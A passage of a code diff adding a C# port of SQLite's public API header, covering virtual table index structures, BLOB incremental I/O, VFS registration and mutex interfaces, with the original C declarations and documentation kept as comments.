separate + ** sorting step is required. + ** + ** The estimatedCost value is an estimate of the cost of doing the + ** particular lookup. A full scan of a table with N entries should have + ** a cost of N. A binary search of a table of N entries should have a + ** cost of approximately log(N). + */ + //struct sqlite3_index_info { + // /* Inputs */ + // int nConstraint; /* Number of entries in aConstraint */ + // struct sqlite3_index_constraint { + // int iColumn; /* Column on left-hand side of constraint */ + // unsigned char op; /* Constraint operator */ + // unsigned char usable; /* True if this constraint is usable */ + // int iTermOffset; /* Used internally - xBestIndex should ignore */ + // } *aConstraint; /* Table of WHERE clause constraints */ + // int nOrderBy; /* Number of terms in the ORDER BY clause */ + // struct sqlite3_index_orderby { + // int iColumn; /* Column number */ + // unsigned char desc; /* True for DESC. False for ASC. */ + // } *aOrderBy; /* The ORDER BY clause */ + // /* Outputs */ + // struct sqlite3_index_constraint_usage { + // int argvIndex; /* if >0, constraint is part of argv to xFilter */ + // unsigned char omit; /* Do not code a test for this constraint */ + // } *aConstraintUsage; + // int idxNum; /* Number used to identify the index */ + // char *idxStr; /* String, possibly obtained from sqlite3_malloc */ + // int needToFreeIdxStr; /* Free idxStr using sqlite3_free() if true */ + // int orderByConsumed; /* True if output is already ordered */ + // double estimatedCost; /* Estimated cost of using this index */ + //}; + public class sqlite3_index_constraint + { + public int iColumn; /* Column on left-hand side of constraint */ + public int op; /* Constraint operator */ + public bool usable; /* True if this constraint is usable */ + public int iTermOffset; /* Used internally - xBestIndex should ignore */ + } + public class sqlite3_index_orderby + { + public int iColumn; /* Column number */ + public bool desc; /* True for DESC. False for ASC. */ + } + public class sqlite3_index_constraint_usage + { + public int argvIndex; /* if >0, constraint is part of argv to xFilter */ + public bool omit; /* Do not code a test for this constraint */ + } + + public class sqlite3_index_info + { + /* Inputs */ + public int nConstraint; /* Number of entries in aConstraint */ + public sqlite3_index_constraint[] aConstraint; /* Table of WHERE clause constraints */ + public int nOrderBy; /* Number of terms in the ORDER BY clause */ + public sqlite3_index_orderby[] aOrderBy;/* The ORDER BY clause */ + + /* Outputs */ + + public sqlite3_index_constraint_usage[] aConstraintUsage; + public int idxNum; /* Number used to identify the index */ + public string idxStr; /* String, possibly obtained from sqlite3Malloc */ + public int needToFreeIdxStr; /* Free idxStr using //sqlite3DbFree(db,) if true */ + public bool orderByConsumed; /* True if output is already ordered */ + public double estimatedCost; /* Estimated cost of using this index */ + } + //#define SQLITE_INDEX_CONSTRAINT_EQ 2 + //#define SQLITE_INDEX_CONSTRAINT_GT 4 + //#define SQLITE_INDEX_CONSTRAINT_LE 8 + //#define SQLITE_INDEX_CONSTRAINT_LT 16 + //#define SQLITE_INDEX_CONSTRAINT_GE 32 + //#define SQLITE_INDEX_CONSTRAINT_MATCH 64 + const int SQLITE_INDEX_CONSTRAINT_EQ = 2; + const int SQLITE_INDEX_CONSTRAINT_GT = 4; + const int SQLITE_INDEX_CONSTRAINT_LE = 8; + const int SQLITE_INDEX_CONSTRAINT_LT = 16; + const int SQLITE_INDEX_CONSTRAINT_GE = 32; + const int SQLITE_INDEX_CONSTRAINT_MATCH = 64; + + /* + ** CAPI3REF: Register A Virtual Table Implementation {H18200} + ** EXPERIMENTAL + ** + ** This routine is used to register a new [virtual table module] name. + ** Module names must be registered before + ** creating a new [virtual table] using the module, or before using a + ** preexisting [virtual table] for the module. + ** + ** The module name is registered on the [database connection] specified + ** by the first parameter. The name of the module is given by the + ** second parameter. The third parameter is a pointer to + ** the implementation of the [virtual table module]. The fourth + ** parameter is an arbitrary client data pointer that is passed through + ** into the [xCreate] and [xConnect] methods of the virtual table module + ** when a new virtual table is be being created or reinitialized. + ** + ** This interface has exactly the same effect as calling + ** [sqlite3_create_module_v2()] with a NULL client data destructor. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module( + // sqlite3 *db, /* SQLite connection to register module with */ + // const char *zName, /* Name of the module */ + // const sqlite3_module *p, /* Methods for the module */ + // void *pClientData /* Client data for xCreate/xConnect */ + //); + + /* + ** CAPI3REF: Register A Virtual Table Implementation {H18210} + ** EXPERIMENTAL + ** + ** This routine is identical to the [sqlite3_create_module()] method, + ** except that it has an extra parameter to specify + ** a destructor function for the client data pointer. SQLite will + ** invoke the destructor function (if it is not NULL) when SQLite + ** no longer needs the pClientData pointer. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_create_module_v2( + // sqlite3 *db, /* SQLite connection to register module with */ + // const char *zName, /* Name of the module */ + // const sqlite3_module *p, /* Methods for the module */ + // void *pClientData, /* Client data for xCreate/xConnect */ + // void(*xDestroy)(void*) /* Module destructor function */ + //); + + /* + ** CAPI3REF: Virtual Table Instance Object {H18010} + ** KEYWORDS: sqlite3_vtab + ** EXPERIMENTAL + ** + ** Every [virtual table module] implementation uses a subclass + ** of the following structure to describe a particular instance + ** of the [virtual table]. Each subclass will + ** be tailored to the specific needs of the module implementation. + ** The purpose of this superclass is to define certain fields that are + ** common to all module implementations. + ** + ** Virtual tables methods can set an error message by assigning a + ** string obtained from [sqlite3_mprintf()] to zErrMsg. The method should + ** take care that any prior string is freed by a call to [sqlite3_free()] + ** prior to assigning a new string to zErrMsg. After the error message + ** is delivered up to the client application, the string will be automatically + ** freed by sqlite3_free() and the zErrMsg field will be zeroed. + */ + //struct sqlite3_vtab { + // const sqlite3_module *pModule; /* The module for this virtual table */ + // int nRef; /* NO LONGER USED */ + // char *zErrMsg; /* Error message from sqlite3_mprintf() */ + /* Virtual table implementations will typically add additional fields */ + //}; + public struct sqlite3_vtab + { + public sqlite3_module pModule; /* The module for this virtual table */ + public int nRef; /* Used internally */ + public string zErrMsg; /* Error message from sqlite3_mprintf() */ + /* Virtual table implementations will typically add additional fields */ + }; + + /* + ** CAPI3REF: Virtual Table Cursor Object {H18020} + ** KEYWORDS: sqlite3_vtab_cursor {virtual table cursor} + ** EXPERIMENTAL + ** + ** Every [virtual table module] implementation uses a subclass of the + ** following structure to describe cursors that point into the + ** [virtual table] and are used + ** to loop through the virtual table. Cursors are created using the + ** [sqlite3_module.xOpen | xOpen] method of the module and are destroyed + ** by the [sqlite3_module.xClose | xClose] method. Cussors are used + ** by the [xFilter], [xNext], [xEof], [xColumn], and [xRowid] methods + ** of the module. Each module implementation will define + ** the content of a cursor structure to suit its own needs. + ** + ** This superclass exists in order to define fields of the cursor that + ** are common to all implementations. + */ + //struct sqlite3_vtab_cursor { + // sqlite3_vtab *pVtab; /* Virtual table of this cursor */ + /* Virtual table implementations will typically add additional fields */ + //}; + public class sqlite3_vtab_cursor + { + sqlite3_vtab pVtab; /* Virtual table of this cursor */ + /* Virtual table implementations will typically add additional fields */ + }; + + /* + ** CAPI3REF: Declare The Schema Of A Virtual Table {H18280} + ** EXPERIMENTAL + ** + ** The [xCreate] and [xConnect] methods of a + ** [virtual table module] call this interface + ** to declare the format (the names and datatypes of the columns) of + ** the virtual tables they implement. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_declare_vtab(sqlite3*, const char *zSQL); + + /* + ** CAPI3REF: Overload A Function For A Virtual Table {H18300} + ** EXPERIMENTAL + ** + ** Virtual tables can provide alternative implementations of functions + ** using the [xFindFunction] method of the [virtual table module]. + ** But global versions of those functions + ** must exist in order to be overloaded. + ** + ** This API makes sure a global version of a function with a particular + ** name and number of parameters exists. If no such function exists + ** before this API is called, a new function is created. The implementation + ** of the new function always causes an exception to be thrown. So + ** the new function is not good for anything by itself. Its only + ** purpose is to be a placeholder function that can be overloaded + ** by a [virtual table]. + */ + //SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_overload_function(sqlite3*, const char *zFuncName, int nArg); + + /* + ** The interface to the virtual-table mechanism defined above (back up + ** to a comment remarkably similar to this one) is currently considered + ** to be experimental. The interface might change in incompatible ways. + ** If this is a problem for you, do not use the interface at this time. + ** + ** When the virtual-table mechanism stabilizes, we will declare the + ** interface fixed, support it indefinitely, and remove this comment. + ** + ****** EXPERIMENTAL - subject to change without notice ************** + */ + + /* + ** CAPI3REF: A Handle To An Open BLOB {H17800} + ** KEYWORDS: {BLOB handle} {BLOB handles} + ** + ** An instance of this object represents an open BLOB on which + ** [sqlite3_blob_open | incremental BLOB I/O] can be performed. + ** Objects of this type are created by [sqlite3_blob_open()] + ** and destroyed by [sqlite3_blob_close()]. + ** The [sqlite3_blob_read()] and [sqlite3_blob_write()] interfaces + ** can be used to read or write small subsections of the BLOB. + ** The [sqlite3_blob_bytes()] interface returns the size of the BLOB in bytes. + */ + //typedef struct sqlite3_blob sqlite3_blob; + + /* + ** CAPI3REF: Open A BLOB For Incremental I/O {H17810} + ** + ** This interfaces opens a [BLOB handle | handle] to the BLOB located + ** in row iRow, column zColumn, table zTable in database zDb; + ** in other words, the same BLOB that would be selected by: + ** + **
    +    **     SELECT zColumn FROM zDb.zTable WHERE [rowid] = iRow;
    +    ** 
    {END} + ** + ** If the flags parameter is non-zero, then the BLOB is opened for read + ** and write access. If it is zero, the BLOB is opened for read access. + ** + ** Note that the database name is not the filename that contains + ** the database but rather the symbolic name of the database that + ** is assigned when the database is connected using [ATTACH]. + ** For the main database file, the database name is "main". + ** For TEMP tables, the database name is "temp". + ** + ** On success, [SQLITE_OK] is returned and the new [BLOB handle] is written + ** to *ppBlob. Otherwise an [error code] is returned and *ppBlob is set + ** to be a null pointer. + ** This function sets the [database connection] error code and message + ** accessible via [sqlite3_errcode()] and [sqlite3_errmsg()] and related + ** functions. Note that the *ppBlob variable is always initialized in a + ** way that makes it safe to invoke [sqlite3_blob_close()] on *ppBlob + ** regardless of the success or failure of this routine. + ** + ** If the row that a BLOB handle points to is modified by an + ** [UPDATE], [DELETE], or by [ON CONFLICT] side-effects + ** then the BLOB handle is marked as "expired". + ** This is true if any column of the row is changed, even a column + ** other than the one the BLOB handle is open on. + ** Calls to [sqlite3_blob_read()] and [sqlite3_blob_write()] for + ** a expired BLOB handle fail with an return code of [SQLITE_ABORT]. + ** Changes written into a BLOB prior to the BLOB expiring are not + ** rollback by the expiration of the BLOB. Such changes will eventually + ** commit if the transaction continues to completion. + ** + ** Use the [sqlite3_blob_bytes()] interface to determine the size of + ** the opened blob. The size of a blob may not be changed by this + ** underface. Use the [UPDATE] SQL command to change the size of a + ** blob. + ** + ** The [sqlite3_bind_zeroblob()] and [sqlite3_result_zeroblob()] interfaces + ** and the built-in [zeroblob] SQL function can be used, if desired, + ** to create an empty, zero-filled blob in which to read or write using + ** this interface. + ** + ** To avoid a resource leak, every open [BLOB handle] should eventually + ** be released by a call to [sqlite3_blob_close()]. + ** + ** Requirements: + ** [H17813] [H17814] [H17816] [H17819] [H17821] [H17824] + */ + //SQLITE_API int sqlite3_blob_open( + // sqlite3*, + // const char *zDb, + // const char *zTable, + // const char *zColumn, + // sqlite3_int64 iRow, + // int flags, + // sqlite3_blob **ppBlob + //); + + /* + ** CAPI3REF: Close A BLOB Handle {H17830} + ** + ** Closes an open [BLOB handle]. + ** + ** Closing a BLOB shall cause the current transaction to commit + ** if there are no other BLOBs, no pending prepared statements, and the + ** database connection is in [autocommit mode]. + ** If any writes were made to the BLOB, they might be held in cache + ** until the close operation if they will fit. + ** + ** Closing the BLOB often forces the changes + ** out to disk and so if any I/O errors occur, they will likely occur + ** at the time when the BLOB is closed. Any errors that occur during + ** closing are reported as a non-zero return value. + ** + ** The BLOB is closed unconditionally. Even if this routine returns + ** an error code, the BLOB is still closed. + ** + ** Calling this routine with a null pointer (which as would be returned + ** by failed call to [sqlite3_blob_open()]) is a harmless no-op. + ** + ** Requirements: + ** [H17833] [H17836] [H17839] + */ + //SQLITE_API int sqlite3_blob_close(sqlite3_blob *); + + /* + ** CAPI3REF: Return The Size Of An Open BLOB {H17840} + ** + ** Returns the size in bytes of the BLOB accessible via the + ** successfully opened [BLOB handle] in its only argument. The + ** incremental blob I/O routines can only read or overwriting existing + ** blob content; they cannot change the size of a blob. + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + ** + ** Requirements: + ** [H17843] + */ + //SQLITE_API int sqlite3_blob_bytes(sqlite3_blob *); + + /* + ** CAPI3REF: Read Data From A BLOB Incrementally {H17850} + ** + ** This function is used to read data from an open [BLOB handle] into a + ** caller-supplied buffer. N bytes of data are copied into buffer Z + ** from the open BLOB, starting at offset iOffset. + ** + ** If offset iOffset is less than N bytes from the end of the BLOB, + ** [SQLITE_ERROR] is returned and no data is read. If N or iOffset is + ** less than zero, [SQLITE_ERROR] is returned and no data is read. + ** The size of the blob (and hence the maximum value of N+iOffset) + ** can be determined using the [sqlite3_blob_bytes()] interface. + ** + ** An attempt to read from an expired [BLOB handle] fails with an + ** error code of [SQLITE_ABORT]. + ** + ** On success, SQLITE_OK is returned. + ** Otherwise, an [error code] or an [extended error code] is returned. + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + ** + ** See also: [sqlite3_blob_write()]. + ** + ** Requirements: + ** [H17853] [H17856] [H17859] [H17862] [H17863] [H17865] [H17868] + */ + //SQLITE_API int sqlite3_blob_read(sqlite3_blob *, void *Z, int N, int iOffset); + + /* + ** CAPI3REF: Write Data Into A BLOB Incrementally {H17870} + ** + ** This function is used to write data into an open [BLOB handle] from a + ** caller-supplied buffer. N bytes of data are copied from the buffer Z + ** into the open BLOB, starting at offset iOffset. + ** + ** If the [BLOB handle] passed as the first argument was not opened for + ** writing (the flags parameter to [sqlite3_blob_open()] was zero), + ** this function returns [SQLITE_READONLY]. + ** + ** This function may only modify the contents of the BLOB; it is + ** not possible to increase the size of a BLOB using this API. + ** If offset iOffset is less than N bytes from the end of the BLOB, + ** [SQLITE_ERROR] is returned and no data is written. If N is + ** less than zero [SQLITE_ERROR] is returned and no data is written. + ** The size of the BLOB (and hence the maximum value of N+iOffset) + ** can be determined using the [sqlite3_blob_bytes()] interface. + ** + ** An attempt to write to an expired [BLOB handle] fails with an + ** error code of [SQLITE_ABORT]. Writes to the BLOB that occurred + ** before the [BLOB handle] expired are not rolled back by the + ** expiration of the handle, though of course those changes might + ** have been overwritten by the statement that expired the BLOB handle + ** or by other independent statements. + ** + ** On success, SQLITE_OK is returned. + ** Otherwise, an [error code] or an [extended error code] is returned. + ** + ** This routine only works on a [BLOB handle] which has been created + ** by a prior successful call to [sqlite3_blob_open()] and which has not + ** been closed by [sqlite3_blob_close()]. Passing any other pointer in + ** to this routine results in undefined and probably undesirable behavior. + ** + ** See also: [sqlite3_blob_read()]. + ** + ** Requirements: + ** [H17873] [H17874] [H17875] [H17876] [H17877] [H17879] [H17882] [H17885] + ** [H17888] + */ + //SQLITE_API int sqlite3_blob_write(sqlite3_blob *, const void *z, int n, int iOffset); + + /* + ** CAPI3REF: Virtual File System Objects {H11200} + ** + ** A virtual filesystem (VFS) is an [sqlite3_vfs] object + ** that SQLite uses to interact + ** with the underlying operating system. Most SQLite builds come with a + ** single default VFS that is appropriate for the host computer. + ** New VFSes can be registered and existing VFSes can be unregistered. + ** The following interfaces are provided. + ** + ** The sqlite3_vfs_find() interface returns a pointer to a VFS given its name. + ** Names are case sensitive. + ** Names are zero-terminated UTF-8 strings. + ** If there is no match, a NULL pointer is returned. + ** If zVfsName is NULL then the default VFS is returned. + ** + ** New VFSes are registered with sqlite3_vfs_register(). + ** Each new VFS becomes the default VFS if the makeDflt flag is set. + ** The same VFS can be registered multiple times without injury. + ** To make an existing VFS into the default VFS, register it again + ** with the makeDflt flag set. If two different VFSes with the + ** same name are registered, the behavior is undefined. If a + ** VFS is registered with a name that is NULL or an empty string, + ** then the behavior is undefined. + ** + ** Unregister a VFS with the sqlite3_vfs_unregister() interface. + ** If the default VFS is unregistered, another VFS is chosen as + ** the default. The choice for the new VFS is arbitrary. + ** + ** Requirements: + ** [H11203] [H11206] [H11209] [H11212] [H11215] [H11218] + */ + //SQLITE_API sqlite3_vfs *sqlite3_vfs_find(const char *zVfsName); + //SQLITE_API int sqlite3_vfs_register(sqlite3_vfs*, int makeDflt); + //SQLITE_API int sqlite3_vfs_unregister(sqlite3_vfs*); + + /* + ** CAPI3REF: Mutexes {H17000} + ** + ** The SQLite core uses these routines for thread + ** synchronization. Though they are intended for internal + ** use by SQLite, code that links against SQLite is + ** permitted to use any of these routines. + ** + ** The SQLite source code contains multiple implementations + ** of these mutex routines. An appropriate implementation + ** is selected automatically at compile-time. The following + ** implementations are available in the SQLite core: + ** + **
      + **
    • SQLITE_MUTEX_OS2 + **
    • SQLITE_MUTEX_PTHREAD + **
    • SQLITE_MUTEX_W32 + **
    • SQLITE_MUTEX_NOOP + **
    + ** + ** The SQLITE_MUTEX_NOOP implementation is a set of routines + ** that does no real locking and is appropriate for use in + ** a single-threaded application. The SQLITE_MUTEX_OS2, + ** SQLITE_MUTEX_PTHREAD, and SQLITE_MUTEX_W32 implementations + ** are appropriate for use on OS/2, Unix, and Windows. + ** + ** If SQLite is compiled with the SQLITE_MUTEX_APPDEF preprocessor + ** macro defined (with "-DSQLITE_MUTEX_APPDEF=1"), then no mutex + ** implementation is included with the library. In this case the + ** application must supply a custom mutex implementation using the + ** [SQLITE_CONFIG_MUTEX] option of the sqlite3_config() function + ** before calling sqlite3_initialize() or any other public sqlite3_ + ** function that calls sqlite3_initialize(). + ** + ** {H17011} The sqlite3_mutex_alloc() routine allocates a new + ** mutex and returns a pointer to it. {H17012} If it returns NULL + ** that means that a mutex could not be allocated. {H17013} SQLite + ** will unwind its stack and return an error. {H17014} The argument + ** to sqlite3_mutex_alloc() is one of these integer constants: + ** + **
      + **
    • SQLITE_MUTEX_FAST + **
    • SQLITE_MUTEX_RECURSIVE + **
    • SQLITE_MUTEX_STATIC_MASTER + **
    • SQLITE_MUTEX_STATIC_MEM + **
    • SQLITE_MUTEX_STATIC_MEM2 + **
    • SQLITE_MUTEX_STATIC_PRNG + **
    • SQLITE_MUTEX_STATIC_LRU + **
    • SQLITE_MUTEX_STATIC_LRU2 + **
    + ** + ** {H17015} The first two constants cause sqlite3_mutex_alloc() to create + ** a new mutex. The new mutex is recursive when SQLITE_MUTEX_RECURSIVE + ** is used but not necessarily so when SQLITE_MUTEX_FAST is used. {END} + ** The mutex implementation does not need to make a distinction + ** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does + ** not want to. {H17016} But SQLite will only request a recursive mutex in + ** cases where it really needs one. {END} If a faster non-recursive mutex + ** implementation is available on the host platform, the mutex subsystem + ** might return such a mutex in response to SQLITE_MUTEX_FAST. + ** + ** {H17017} The other allowed parameters to sqlite3_mutex_alloc() each return + ** a pointer to a static preexisting mutex. {END} Four static mutexes are + ** used by the current version of SQLite. Future versions of SQLite + ** may add additional static mutexes. Static mutexes are for internal + ** use by SQLite only. Applications that use SQLite mutexes should + ** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or + ** SQLITE_MUTEX_RECURSIVE. + ** + ** {H17018} Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST + ** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() + ** returns a different mutex on every call. {H17034} But for the static + ** mutex types, the same mutex is returned on every call that has + ** the same type number. + ** + ** {H17019} The sqlite3_mutex_free() routine deallocates a previously + ** allocated dynamic mutex. {H17020} SQLite is careful to deallocate every + ** dynamic mutex that it allocates. {A17021} The dynamic mutexes must not be in + ** use when they are deallocated. {A17022} Attempting to deallocate a static + ** mutex results in undefined behavior. {H17023} SQLite never deallocates + ** a static mutex. {END} + ** + ** The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt + ** to enter a mutex. {H17024} If another thread is already within the mutex, + ** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return + ** SQLITE_BUSY. {H17025} The sqlite3_mutex_try() interface returns [SQLITE_OK] + ** upon successful entry. {H17026} Mutexes created using + ** SQLITE_MUTEX_RECURSIVE can be entered multiple times by the same thread. + ** {H17027} In such cases the, + ** mutex must be exited an equal number of times before another thread + ** can enter. {A17028} If the same thread tries to enter any other + ** kind of mutex more than once, the behavior is undefined. + ** {H17029} SQLite will never exhibit + ** such behavior in its own use of mutexes. + ** + ** Some systems (for example, Windows 95) do not support the operation + ** implemented by sqlite3_mutex_try(). On those systems, sqlite3_mutex_try() + ** will always return SQLITE_BUSY. {H17030} The SQLite core only ever uses + ** sqlite3_mutex_try() as an optimization so this is acceptable behavior. + ** + ** {H17031} The sqlite3_mutex_leave() routine exits a mutex that was + ** previously entered by the same thread. {A17032} The behavior + ** is undefined if the mutex is not currently entered by the + ** calling thread or is not currently allocated. {H17033} SQLite will + ** never do either. {END} + ** + ** If the argument to sqlite3_mutex_enter(), sqlite3_mutex_try(), or + ** sqlite3_mutex_leave() is a NULL pointer, then all three routines + ** behave as no-ops. + ** + ** See also: [sqlite3_mutex_held()] and [sqlite3_mutex_notheld()]. + */ + //SQLITE_API sqlite3_mutex *sqlite3_mutex_alloc(int); + //SQLITE_API void sqlite3_mutex_free(sqlite3_mutex*); + //SQLITE_API void sqlite3_mutex_enter(sqlite3_mutex*); + //SQLITE_API int sqlite3_mutex_try(sqlite3_mutex*); + //SQLITE_API void sqlite3_mutex_leave(sqlite3_mutex*); + + /* + ** CAPI3REF: Mutex Methods Object {H17120} + ** EXPERIMENTAL + ** + ** An instance of this structure defines the low-level routines + ** used to allocate and use mutexes. + ** + ** Usually, the default mutex implementations provided by SQLite are + ** sufficient, however the user has the option of substituting a custom + ** implementation for specialized deployments or systems for which SQLite + ** does not provide a suitable implementation. In this case, the user + ** creates and populates an instance of this structure to pass + ** to sqlite3_config() along with the [SQLITE_CONFIG_MUTEX] option. + ** Additionally, an instance of this structure can be used as an + ** output variable when querying the system for the current mutex + ** implementation, using the [SQLITE_CONFIG_GETMUTEX] option. + ** + ** The xMutexInit method defined by this structure is invoked as + ** part of system initialization by the sqlite3_initialize() function. + ** {H17001} The xMutexInit routine shall be called by SQLite once for each + ** effective call to [sqlite3_initialize()]. + ** + ** The xMutexEnd method defined by this structure is invoked as + ** part of system shutdown by the sqlite3_shutdown() function. The + ** implementation of this method is expected to release all outstanding + ** resources obtained by the mutex methods implementation, especially + ** those obtained by the xMutexInit method. {H17003} The xMutexEnd() + ** interface shall be invoked once for each call to [sqlite3_shutdown()]. + ** + ** The remaining seven methods defined by this structure (xMutexAlloc, + ** xMutexFree, xMutexEnter, xMutexTry, xMutexLeave, xMutexHeld and + ** xMutexNotheld) implement the following interfaces (respectively): + ** + **
      + **
    • [sqlite3_mutex_alloc()]
    • + **
    • [sqlite3_mutex_free()]
    • + **
    • [sqlite3_mutex_enter()]
    • + **
    • [sqlite3_mutex_try()]
    • + **
    • [sqlite3_mutex_leave()]
    • + **
    • [sqlite3_mutex_held()]
    • + **
    • [sqlite3_mutex_notheld()]
    • + **
    + ** + ** The only difference is that the public sqlite3_XXX functions enumerated + ** above silently ignore any invocations that pass a NULL pointer instead + ** of a valid mutex handle. The implementations of the methods defined + ** by this structure are not required to handle this case, the results + ** of passing a NULL pointer instead of a valid mutex handle are undefined + ** (i.e. it is acceptable to provide an implementation that segfaults if + ** it is passed a NULL pointer). + */ + //typedef struct sqlite3_mutex_methods sqlite3_mutex_methods; + //struct sqlite3_mutex_methods { + // int (*xMutexInit)(void); + // int (*xMutexEnd)(void); + // sqlite3_mutex *(*xMutexAlloc)(int); + // void (*xMutexFree)(sqlite3_mutex *); + // void (*xMutexEnter)(sqlite3_mutex *); + // int (*xMutexTry)(sqlite3_mutex *); + // void (*xMutexLeave)(sqlite3_mutex *); + // int (*xMutexHeld)(sqlite3_mutex *); + // int (*xMutexNotheld)(sqlite3_mutex *); + //}; + public class sqlite3_mutex_methods + { + public dxMutexInit xMutexInit; + public dxMutexEnd xMutexEnd; + public dxMutexAlloc xMutexAlloc; + public dxMutexFree xMutexFree; + public dxMutexEnter xMutexEnter; + public dxMutexTry xMutexTry; + public dxMutexLeave xMutexLeave; + public dxMutexHeld xMutexHeld; + public dxMutexNotheld xMutexNotheld; + public sqlite3_mutex_methods( + dxMutexInit xMutexInit, + dxMutexEnd xMutexEnd, + dxMutexAlloc xMutexAlloc, + dxMutexFree xMutexFree, + dxMutexEnter xMutexEnter, + dxMutexTry xMutexTry, + dxMutexLeave xMutexLeave, + dxMutexHeld xMutexHeld, + dxMutexNotheld xMutexNotheld + ) + { + this.xMutexInit = xMutexInit; + this.xMutexEnd = xMutexEnd; + this.xMutexAlloc = xMutexAlloc; + this.xMutexFree = xMutexFree; + this.xMutexEnter = xMutexEnter; + this.xMutexTry = xMutexTry; + this.xMutexLeave = xMutexLeave; + this.xMutexHeld = xMutexHeld; + this.xMutexNotheld = xMutexNotheld; + } + }; + + /* + ** CAPI3REF: Mutex Verification Routines {H17080} + ** + ** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routines + ** are intended for use inside assert() statements. {H17081} The SQLite core + ** never uses these routines except inside an assert() and applications + ** are advised to follow the lead of the core. {H17082} The core only + ** provides implementations for these routines when it is compiled + ** with the SQLITE_DEBUG flag. {A17087} External mutex implementations + ** are only required to provide these routines if SQLITE_DEBUG is + ** defined and if NDEBUG is not defined. + ** + ** {H17083} These routines should return true if the mutex in their argument + ** is held or not held, respectively, by the calling thread. + ** + ** {X17084} The implementation is not required to provided versions of these + ** routines that actually work. If the implementation does not provide working + ** versions of these routines, it should at least provide stubs that always + ** return true so that one does not get spurious assertion failures. + ** + ** {H17085} If the argument to sqlite3_mutex_held() is a NULL pointer then + ** the routine should return 1. {END} This seems counter-intuitive since + ** clearly the mutex cannot be held if it does not exist. But the + ** the reason the mutex does not exist is because the build is not + ** using mutexes. And we do not want the assert() containing the + ** call to sqlite3_mutex_held() to fail, so a non-zero return is + ** the appropriate thing to do. {H17086} The sqlite3_mutex_notheld() + ** interface should also return 1 when given a NULL pointer. + */ + //SQLITE_API int sqlite3_mutex_held(sqlite3_mutex*); + //SQLITE_API int sqlite3_mutex_notheld(sqlite3_mutex*); + + /* + ** CAPI3REF: Mutex Types {H17001} + ** + ** The [sqlite3_mutex_alloc()] interface takes a single argument + ** which is one of these integer constants. + ** + ** The set of static mutexes may change from one SQLite release to the + ** next. Applications that override the built-in mutex logic must be + ** prepared to accommodate additional static mutexes. + */ + //#define SQLITE_MUTEX_FAST 0 + //#define SQLITE_MUTEX_RECURSIVE 1 + //#define SQLITE_MUTEX_STATIC_MASTER 2 + //#define SQLITE_MUTEX_STATIC_MEM 3 /* sqlite3_malloc() */ + //#define SQLITE_MUTEX_STATIC_MEM2 4 /* NOT USED */ + //#define SQLITE_MUTEX_STATIC_OPEN 4 /* sqlite3BtreeOpen() */ + //#define SQLITE_MUTEX_STATIC_PRNG 5 /* sqlite3_random() */ + //#define SQLITE_MUTEX_STATIC_LRU 6 /* lru page list */ + //#define SQLITE_MUTEX_STATIC_LRU2 7 /* lru page list */ + const int SQLITE_MUTEX_FAST = 0; + const int SQLITE_MUTEX_RECURSIVE = 1; + const int SQLITE_MUTEX_STATIC_MASTER = 2; + const int SQLITE_MUTEX_STATIC_MEM = 3; + const int SQLITE_MUTEX_STATIC_OPEN = 4; + const int SQLITE_MUTEX_STATIC_PRNG = 5; + const int SQLITE_MUTEX_STATIC_LRU = 6; + const int SQLITE_MUTEX_STATIC_LRU2 = 7; + + /* + ** CAPI3REF: Retrieve the mutex for a database connection {H17002} + ** + ** This interface returns a pointer the [sqlite3_mutex] object that + ** serializes access to the [database connection] given in the argument + ** when the [threading mode] is Serialized. + ** If the [threading mode] is Single-thread or Multi-thread then this + ** routine returns a NULL pointer. + */ + //SQLITE_API sqlite3_mutex *sqlite3_db_mutex(sqlite3*); + + /* + ** CAPI3REF: Low-Level Control Of Database Files {H11300} + ** + ** {H11301} The [sqlite3_file_control()] interface makes a direct call to the + ** xFileControl method for the [sqlite3_io_methods] object associated + ** with a particular database identified by the second argument. {H11302} The + ** name of the database is the name assigned to the database by the + ** ATTACH SQL command that opened the + ** database. {H11303} To control the main database file, use the name "main" + ** or a NULL pointer. {H11304} The third and fourth parameters to this routine + ** are passed directly through to the second and third parameters of + ** the xFileControl method. {H11305} The return value of the xFileControl + ** method becomes the return value of this routine. + ** + ** {H11306} If the second parameter (zDbName) does not match the name of any + ** open database file, then SQLITE_ERROR is returned. {H11307} This error + ** code is not remembered and will not be recalled by [sqlite3_errcode()] + ** or [sqlite3_errmsg()]. {A11308} The underlying xFileControl method might + ** also return SQLITE_ERROR. {A11309} There is no way to distinguish between + ** an incorrect zDbName and an SQLITE_ERROR return from the underlying + ** xFileControl method. {END} + ** + ** See also: [SQLITE_FCNTL_LOCKSTATE] + */ + //SQLITE_API int sqlite3_file_control(sqlite3*, const char *zDbName, int op, void*); + + /* + ** CAPI3REF: Testing Interface {H11400} + ** + ** The sqlite3_test_control() interface is used to read out internal + ** state of SQLite and to inject faults into SQLite for testing + ** purposes. The first parameter is an operation code that determines + ** the number, meaning, and operation of all subsequent parameters. + ** + ** This interface is not for use by applications. It exists solely + ** for verifying the correct operation of the SQLite library. Depending + ** on how the SQLite library is compiled, this interface might not exist. + ** + ** The details of the operation codes, their meanings, the parameters + ** they take, and what they do are all subject to change without notice. + ** Unlike most of the SQLite API, this function is not guaranteed to + ** operate consistently from one release to the next. + */ + //SQLITE_API int sqlite3_test_control(int op, ...); + + /* + ** CAPI3REF: Testing Interface Operation Codes {H11410} + ** + ** These constants are the valid operation code parameters used + ** as the first argument to [sqlite3_test_control()]. + ** + ** These parameters and their meanings are subject to change + ** without notice. These values are for testing purposes only. + ** Applications should not use any of these parameters or the + ** [sqlite3_test_control()] interface. + */ + //#define 